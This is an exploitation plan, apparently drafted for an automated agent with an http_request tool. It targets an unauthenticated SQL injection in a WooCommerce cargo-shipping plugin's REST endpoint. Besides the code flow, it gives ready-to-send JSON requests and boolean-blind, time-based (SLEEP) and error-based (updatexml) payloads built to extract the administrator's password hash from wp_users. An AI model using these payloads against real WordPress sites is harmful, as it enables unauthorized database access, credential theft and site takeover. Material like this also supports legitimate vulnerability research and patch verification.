Exploitation Research Plan - CVE-2026-54815

1. Vulnerability Summary

The Cargo Shipping Location for WooCommerce plugin (versions <= 5.6) contains an unauthenticated SQL injection vulnerability. The issue exists within the REST API endpoint used for cargo status updates. The plugin fails to sanitize or prepare the shipment_id parameter before including it in a raw SQL query via $wpdb->get_results(). Because the endpoint's permission_callback is hardcoded to return true, any unauthenticated user can trigger the injection.

2. Attack Vector Analysis

• Endpoint: /wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/
• HTTP Method: POST
• Vulnerable Parameter: shipment_id (passed in the JSON or POST body)
• Authentication: None (Unauthenticated)
• Preconditions: The plugin must be active. For Boolean-based extraction, at least one WooCommerce order must exist with the cslfw_shipping meta key populated (created when a shipment is generated).

3. Code Flow

1. Entry Point: The plugin registers a REST route in includes/CargoApi/Webhook.php:
   • Hook: rest_api_init
   • Route: cargo-shipping-location-for-woocommerce/v1/update-status/
   • Permission Callback: cargo_update_shipment_status_permission (returns true).
2. Callback Execution: The request is handled by cargo_update_shipment_status($request).
3. Data Acquisition: The function retrieves parameters via $request->get_params().
4. Sink:
   • The code checks if WooCommerce HPOS (High-Performance Order Storage) is enabled to determine the table name (wc_orders_meta vs postmeta).
   • It then executes a raw SQL query:

     $orders = $wpdb->get_results(
         "
         SELECT *
         FROM {$wpdb->prefix}{$tableName}
         WHERE meta_key = 'cslfw_shipping' AND meta_value LIKE '%{$data['shipment_id']}%'
         "
     );
     

   • Vulnerability: The value of {$data['shipment_id']} is interpolated directly into the query string without using $wpdb->prepare().

4. Nonce Acquisition Strategy

This vulnerability resides in a REST API endpoint intended for external webhooks.

• Nonce Requirement: Based on the source code in includes/CargoApi/Webhook.php, the permission_callback for the /update-status/ route returns true and does not perform any nonce or capability checks.
• Conclusion: No nonce is required for this exploit.

5. Exploitation Strategy

The exploitation will use Boolean-based Blind SQL Injection. The response from the server indicates whether the query returned results:

• Success (True): {"success": true, "message": "Database updated successfully", ...}
• Failure (False): {"success": false, "message": "Failed to update database", ...}

Step-by-Step Plan:

1. Baseline Test: Send a request with a shipment_id that is known to exist in a shipment meta (e.g., 123).
2. Injection Test (True): Inject a condition that is always true.
   • Payload: 123%' AND 1=1 AND '%'='
   • Expected: success: true
3. Injection Test (False): Inject a condition that is always false.
   • Payload: 123%' AND 1=0 AND '%'='
   • Expected: success: false
4. Data Extraction: Use the boolean response to exfiltrate the administrator's password hash from the wp_users table.

Primary Exploit Request:

• URL: http://<target>/wp-json/cargo-shipping-location-for-woocommerce/v1/update-status/
• Method: POST
• Headers: Content-Type: application/json
• Body:

  {
    "shipment_id": "123%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '%'='",
    "new_status_code": "3",
    "new_status": "Delivered"
  }
  

6. Test Data Setup

To ensure the meta_value LIKE query returns a result initially, we must create a test shipment entry in the database.

1. Create Order: Use WP-CLI to create a WooCommerce order.
   • wp eval "wc_create_order();"
2. Add Shipment Meta: Add the expected meta key and value to the order.
   • wp post meta add <ORDER_ID> cslfw_shipping '{"123": {"status": "pending"}}' --format=json (Note: the plugin expects a serialized array or JSON string in this meta field).

7. Expected Results

• A successful "True" condition will return a JSON response with "success": true.
• A successful "False" condition will return a JSON response with "success": false.
• If WP_DEBUG is enabled, an invalid SQL syntax payload (e.g., shipment_id=123') will cause the database error to be logged or potentially displayed.

8. Verification Steps

After performing the HTTP-based injection, verify the ability to leak data:

1. Use the http_request tool to check if the first character of the admin password hash is $:
   • Payload: 123%' AND (SELECT 1 FROM wp_users WHERE ID=1 AND SUBSTRING(user_pass,1,1)='$') AND '%'='
2. Check the response for "success": true.

9. Alternative Approaches

• Time-based Blind: If the cslfw_shipping meta is not easily guessable, use a sleep-based payload.
  • Payload: x' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a) OR 'x'='y
• Error-based Injection: If the site displays SQL errors, use updatexml() or extractvalue().
  • Payload: 123' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND '1'='1